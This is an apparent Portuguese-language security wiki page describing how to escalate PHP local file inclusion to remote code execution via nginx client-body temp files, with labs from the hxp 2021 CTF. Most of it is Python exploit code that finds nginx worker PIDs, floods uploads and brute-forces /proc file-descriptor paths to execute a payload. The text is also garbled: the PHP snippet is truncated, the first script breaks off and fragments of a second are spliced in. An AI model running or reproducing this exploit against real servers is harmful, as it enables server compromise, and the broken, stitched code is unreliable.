LFI2RCE via Nginx temp files

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Configuração vulnerável

Exemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/

Código PHP:

````h`

/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... ``` Nota: Não se pode incluir diretamente `/proc/34/fd/15` neste exemplo, pois a função `include` do PHP resolveria o caminho para `/var/lib/nginx/body/0000001368 (deleted)`, que não existe no sistema de arquivos. Essa pequena restrição pode ser contornada por alguma indireção como: `/proc/self/fd/34/../../../34/fd/15`, que finalmente executará o conteúdo do arquivo deletado `/var/lib/nginx/body/0000001368`. ## Exploit Completo ```python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv[1]}:{sys.argv[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid_max' }) pid_max = int(r.text) print(f'[*] cpus: {cpus}; pid_max: {pid_max}') nginx_workers = [] for pid in range(pid_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'[*] trabalhador do nginx encontrado: {pid}') nginx_workers.append(pid) if len(nginx_workers) >= cpus: break done = False # fazer upload de um grande corpo de cliente para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('[+] iniciando uploader') while not done: requests.get(URL, data=' //'

requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass

def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)

def send\_payload\_multiprocess(requests\_session): # Use todos os CPUs para enviar o payload como corpo da requisição para o Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()

def generate\_random\_path\_prefix(nginx\_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho do ProcFS. Um caminho gerado parecerá com /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path

def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # As flags são formatadas como hxp{} if "hxp" in d: print("Flag encontrada! ") print(d)

def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Escaneie os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da requisição abra dentro dessa faixa for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()

def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()

if **name** == "**main**": print('\[DEBUG] Criando sessão de requisições') requests\_session = create\_requests\_session() print('\[DEBUG] Obtendo pids do Nginx') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Pids do Nginx: {nginx\_pids}') print('\[DEBUG] Iniciando envio do payload') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Iniciando leitores de fd') read\_file\_multiprocess(requests\_session, nginx\_pids)


## Labs

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)

## References

* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)

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<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>

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8.7 KiB Raw Blame History

LFI2RCE via Nginx temp files

WhiteIntel

Configuração vulnerável

8.7 KiB

Raw Blame History